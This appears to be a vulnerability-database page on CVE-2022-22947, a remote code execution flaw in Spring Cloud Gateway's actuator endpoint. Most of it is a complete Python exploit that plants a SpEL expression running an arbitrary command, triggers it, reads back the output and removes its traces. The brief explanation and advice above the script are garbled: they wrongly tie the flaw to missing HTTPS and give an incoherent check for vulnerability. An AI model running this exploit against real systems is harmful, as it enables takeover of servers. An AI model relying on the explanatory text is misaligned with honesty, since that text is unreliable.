The Gateway Actuator endpoint was previously enabled by default in versions prior to 3.1.1+ and 3.0.7+ by default. The endpoint could be exposed or unsecured. For example, the endpoint could live on the same machine as the gateway where it's vulnerable to a code injection attack. This could be either due to misconfiguration or due to an unsecure remote connection that does not use HTTPS. An unsecure connection allows for man-in-the-middle attacks that could allow for the execution of a maliciously crafted script that could allow for the execution of arbitrary commands on the gateway. This could allow for the attacker to take over the gateway, or worse.

How do I find out if my gateway is vulnerable?

The easiest way to find out if your gateway is vulnerable is to install the latest version of the gateway and compare the URL returned when a device connects. If it's not HTTPS and HTTP, then your gateway is vulnerable.

How do I protect my gateway?

The easiest way to protect your gateway is by using the following steps:
1. Ensure that remote connections are secured using HTTPS, and that the endpoint is disabled by default.
2. Put your gateway behind a firewall or network address translation (NAT) device.
3. Put your gateway in an isolated environment where it cannot communicate with other computers or servers on the network.

Exploit

# Exploit Title: Spring Cloud Gateway 3.1.0 - Remote Code Execution (RCE)
# Google Dork: N/A
# Date: 03/03/2022
# Exploit Author: Carlos E. Vieira
# Vendor Homepage: https://spring.io/
# Software Link: https://spring.io/projects/spring-cloud-gateway
# Version: This vulnerability affect Spring Cloud Gateway < 3.0.7 & < 3.1.1
# Tested on: 3.1.0
# CVE : CVE-2022-22947

import random
import string
import requests
import json
import sys
import urllib.parse
import base64

headers = { "Content-Type": "application/json" , 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36','Accept' : '*/*'}
proxies = {
    'http': 'http://172.29.32.1:8081',
    'https': 'http://172.29.32.1:8081',
}
id = ''.join(random.choice(string.ascii_lowercase) for i in range(8))

def exploit(url, command):
    
    payload = { "id": id, "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\u0022"+command+"\u0022).getInputStream()))}"}}],"uri": "http://example.com"}
    
    commandb64 =base64.b64encode(command.encode('utf-8')).decode('utf-8')

    rbase = requests.post(url + '/actuator/gateway/routes/'+id, headers=headers, data=json.dumps(payload), proxies=proxies, verify=False)
    if(rbase.status_code == 201):
        print("[+] Stage deployed to /actuator/gateway/routes/"+id)
        print("[+] Executing command...")
        r = requests.post(url + '/actuator/gateway/refresh', headers=headers, proxies=proxies, verify=False)
        if(r.status_code == 200):
            print("[+] getting result...")
            r = requests.get(url + '/actuator/gateway/routes/' + id, headers=headers, proxies=proxies, verify=False)
            if(r.status_code == 200):
                get_response = r.json()
                clean(url, id)
                return get_response['filters'][0].split("'")[1]
            else:
                print("[-] Error: Invalid response")
                clean(url, id)
                exit(1)
        else:
            clean(url, id)
            print("[-] Error executing command")

    
def clean(url, id):
    remove = requests.delete(url + '/actuator/gateway/routes/' + id, headers=headers, proxies=proxies, verify=False)
    if(remove.status_code == 200):
        print("[+] Stage removed!")
    else:
        print("[-] Error: Fail to remove stage")

def banner():
    print("""
    ###################################################
    #                                                 #
    #   Exploit for CVE-2022-22947                    #
    #   - Carlos Vieira (Crowsec)                     #
    #                                                 #
    #   Usage:                                        #
    #   python3 exploit.py <url> <command>            #
    #                                                 #
    #   Example:                                      #
    #   python3 exploit.py http://localhost:8080 'id' #
    #                                                 #
    ###################################################
    """)

def main():
    banner()
    if len(sys.argv) != 3:
        print("[-] Error: Invalid arguments")
        print("[-] Usage: python3 exploit.py <url> <command>")
        exit(1)
    else:
        url = sys.argv[1]
        command = sys.argv[2]
        print(exploit(url, command))
if __name__ == '__main__':
    main()

Timeline

Published on: 03/03/2022 22:15:00 UTC
Last modified on: 07/30/2022 02:13:00 UTC

References